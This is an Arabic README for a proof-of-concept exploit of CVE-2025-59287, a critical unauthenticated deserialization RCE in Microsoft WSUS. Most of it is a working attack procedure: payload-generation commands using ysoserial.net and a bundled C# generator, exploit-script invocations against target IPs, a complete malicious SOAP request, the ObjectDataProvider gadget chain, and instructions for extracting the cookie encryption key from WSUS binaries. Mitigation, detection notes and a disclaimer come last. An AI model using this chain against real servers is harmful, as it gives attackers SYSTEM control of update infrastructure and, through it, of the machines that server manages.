
إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا.
CVE-2025-59287 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في خدمة تحديث خوادم ويندوز (WSUS) من مايكروسوفت. تنتج الثغرة عن إلغاء تسلسل غير آمن لبيانات AuthorizationCookie عبر BinaryFormatter في طريقة EncryptionHelper.DecryptData().
التأثير: يمكن للمهاجمين غير المصادق عليهم تحقيق تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM عن طريق إرسال ملفات تعريف ارتباط مشفرة خبيثة إلى نقطة نهاية GetCookie().
درجة CVSS: حرجة (9.8)
BinaryFormatter.Deserialize() على مدخلات غير موثوقة دون تحقق مناسب┌─────────────────┐
│ المهاجم │
│ │
│ 1. توليد │
│ حمولة │
│ BinaryFmt │
│ │
│ 2. تشفير │
│ الحمولة │
│ │
│ 3. إرسال طلب │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ خادم WSUS │
│ │
│ نقطة نهاية │
│ GetCookie() │
│ │
│ DecryptData() │◄─── ثغرة
│ │
│ BinaryFormatter│◄─── إلغاء تسلسل غير آمن
│ Deserialize() │
│ │
│ تنفيذ │◄─── RCE بصلاحيات SYSTEM
│ الحمولة │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # سكربت الاستغلال الرئيسي
├── BinaryFormatterPayloadGenerator.cs # مولّد الحمولة .NET (C#)
├── encrypt_payload.py # أداة تشفير WSUS المساعدة
├── requirements.txt # تبعيات بايثون
└── README.md # هذا الملف
pip install -r requirements.txt
ysoserial.net كبديلالخيار أ: باستخدام مولّد C# المرفق
# ترجمة المولّد
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# توليد الحمولة
BinaryFormatterPayloadGenerator.exe calc.exe
# يُنشئ: payload_YYYYMMDDHHMMSS.bin
الخيار ب: باستخدام ysoserial.net (موصى به)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
مهم: مفتاح التشفير في encrypt_payload.py هو عنصر نائب. للاستغلال الفعلي، يجب عليك:
encrypt_payload.py بالمفتاح الحقيقي# باستخدام ملف الحمولة (سيتم التشفير أثناء التنفيذ)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# باستخدام ملف تعريف ارتباط مشفر مسبقًا
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# مع HTTPS (المنفذ 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# توليد وتشفير واستغلال في خطوة واحدة
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
يجب استخراج مفتاح التشفير من ملفات WSUS الثنائية للاستغلال الفعلي.
تحديد موقع ملفات WSUS DLL:
%ProgramFiles%\Update Services\WebServices\bin\
أو دليل ويب IIS:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
الفتح في dnSpy (مفكك .NET مجاني):
Microsoft.UpdateServices.WebServices.dllالبحث عن EncryptionHelper:
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() و EncryptData()الأنماط الشائعة:
استخدام WinDbg أو x64dbg:
EncryptionHelper.DecryptData()استخدام Process Monitor:
استخدام IDA Pro أو Ghidra:
استخدام أداة strings:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
بمجرد حصولك على المفتاح الفعلي، قم بتحديث encrypt_payload.py:
# استبدل هذا السطر في encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # عنصر نائب
# بالمفتاح الفعلي:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
أو مرره عبر سطر الأوامر:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. توليد حمولة BinaryFormatter │
│ ObjectDataProvider → Process.Start() → تنفيذ الأوامر │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. تشفير الحمولة │
│ AES-128-CBC مع مفتاح تشفير WSUS │
│ ترميز Base64 للإرسال │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. إنشاء طلب SOAP │
│ رأس AuthorizationCookie يحتوي على الحمولة المشفرة │
│ طريقة GetCookie() في جسم SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. الإرسال إلى نقطة نهاية WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ المنفذ 8530 (HTTP) أو 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. معالجة WSUS │
│ DecryptData() يفك تشفير ملف تعريف الارتباط │
│ BinaryFormatter.Deserialize() ينفذ الحمولة │
│ → RCE بصلاحيات SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
يستخدم الاستغلال سلسلة أدوات ObjectDataProvider:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
عندما يعالج BinaryFormatter.Deserialize() هذا، يقوم تلقائيًا بما يلي:
ObjectDataProviderMethodName ("Start") على ObjectInstance (Process)MethodParameters (ProcessStartInfo)تطبيق تحديث الأمان من مايكروسوفت: التصحيح فورًا
حل مؤقت: حظر المنافذ إذا لم تكن WSUS مطلوبة
# حظر حركة المرور الواردة على منافذ WSUS
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
تقسيم الشبكة: تقييد الوصول إلى نقاط نهاية WSUS
استبدال BinaryFormatter: يجب على مايكروسوفت استبداله بتسلسل آمن
System.Text.Json أو System.Xml.Serialization مع التحقق من الأنواعالتحقق من المدخلات: إضافة تحقق شامل
مبدأ الامتيازات الأقل: تشغيل خدمات WSUS بأقل الامتيازات
تحقق من سجلات WSUS بحثًا عن:
%ProgramFiles%\Update Services\LogFiles\
ابحث عن:
راقب بحثًا عن:
/ClientWebService/ClientWebService.asmx⚠️ تحذير: كود الاستغلال هذا مقدم لاختبارات الأمان المصرح بها فقط.
✅ الاستخدامات القانونية:
❌ الاستخدامات غير القانونية:
قد يؤدي الاستخدام غير المصرح به لهذا الاستغلال إلى ملاحقة جنائية. استخدمه بمسؤولية وأخلاقية.
تذكر: اختبر دائمًا في بيئات معزولة وخاضعة للتحكم. لا تستخدم أبدًا ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.